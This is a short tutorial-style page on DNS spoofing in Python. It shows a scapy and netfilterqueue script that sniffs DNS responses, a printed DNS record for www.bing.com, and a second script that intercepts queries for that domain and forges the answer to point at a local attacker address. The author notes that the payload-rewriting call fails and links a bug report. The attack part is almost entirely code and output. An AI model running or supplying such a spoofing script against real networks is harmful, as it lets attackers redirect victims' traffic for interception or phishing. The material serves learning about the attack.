Python Ethical Hacking - DNS Spoofing

What is DNS Spoofing

 

 Sniff the DNSRR packet and show on the terminal.

#!/usr/bin/env python

from netfilterqueue import NetfilterQueue
from scapy.layers.dns import DNSRR,IP


def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSRR):
        print(scapy_packet.show())
    packet.accept()


queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
    queue.run()
except KeyboardInterrupt:
    print('')

 

 

Analyze the following DNSRR records.

###[ IP ]### 
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 218
  id        = 0
  flags     = DF
  frag      = 0
  ttl       = 64
  proto     = udp
  chksum    = 0x25e8
  src       = 10.0.0.1
  dst       = 10.0.0.43
  \options   \
###[ UDP ]### 
     sport     = domain
     dport     = 42647
     len       = 198
     chksum    = 0x9388
###[ DNS ]### 
        id        = 40073
        qr        = 1
        opcode    = QUERY
        aa        = 0
        tc        = 0
        rd        = 1
        ra        = 1
        z         = 0
        ad        = 0
        cd        = 0
        rcode     = ok
        qdcount   = 1
        ancount   = 3
        nscount   = 1
        arcount   = 0
        \qd        \
         |###[ DNS Question Record ]### 
         |  qname     = 'www.bing.com.'
         |  qtype     = AAAA
         |  qclass    = IN
        \an        \
         |###[ DNS Resource Record ]### 
         |  rrname    = 'www.bing.com.'
         |  type      = CNAME
         |  rclass    = IN
         |  ttl       = 2063
         |  rdlen     = None
         |  rdata     = 'a-0001.a-afdentry.net.trafficmanager.net.'
         |###[ DNS Resource Record ]### 
         |  rrname    = 'a-0001.a-afdentry.net.trafficmanager.net.'
         |  type      = CNAME
         |  rclass    = IN
         |  ttl       = 414
         |  rdlen     = None
         |  rdata     = 'cn.cn-0001.cn-msedge.net.'
         |###[ DNS Resource Record ]### 
         |  rrname    = 'cn.cn-0001.cn-msedge.net.'
         |  type      = CNAME
         |  rclass    = IN
         |  ttl       = 38
         |  rdlen     = None
         |  rdata     = 'cn-0001.cn-msedge.net.'
        \ns        \
         |###[ DNS SOA Resource Record ]### 
         |  rrname    = 'cn-msedge.net.'
         |  type      = SOA
         |  rclass    = IN
         |  ttl       = 38
         |  rdlen     = None
         |  mname     = 'ns1.cn-msedge.net.'
         |  rname     = 'msnhst.microsoft.com.'
         |  serial    = 2017032701
         |  refresh   = 1800
         |  retry     = 900
         |  expire    = 2419200
         |  minimum   = 240
        ar        = None

 

Redirecting DNS Responses 

#!/usr/bin/env python

from netfilterqueue import NetfilterQueue
from scapy.layers.dns import *


def process_packet(packet):
    scapy_packet = IP(packet.get_payload())
    if scapy_packet.haslayer(DNSQR):
        qname = scapy_packet[DNSQR].qname
        if "www.bing.com" in qname.decode(errors='ignore'):
            print("[+] Spoofing target")
            answer = DNSRR(rrname=qname, rdata="10.0.0.43")
            scapy_packet[DNS].an = answer
            scapy_packet[DNS].ancount = 1

            del scapy_packet[IP].len
            del scapy_packet[IP].chksum
            del scapy_packet[UDP].chksum
            del scapy_packet[UDP].len

            packet.set_payload(str(scapy_packet).encode())

    packet.accept()


queue = NetfilterQueue()
queue.bind(0, process_packet)
try:
    queue.run()
except KeyboardInterrupt:
    print('')

 The set_payload() method does not work....

https://github.com/kti/python-netfilterqueue/issues/30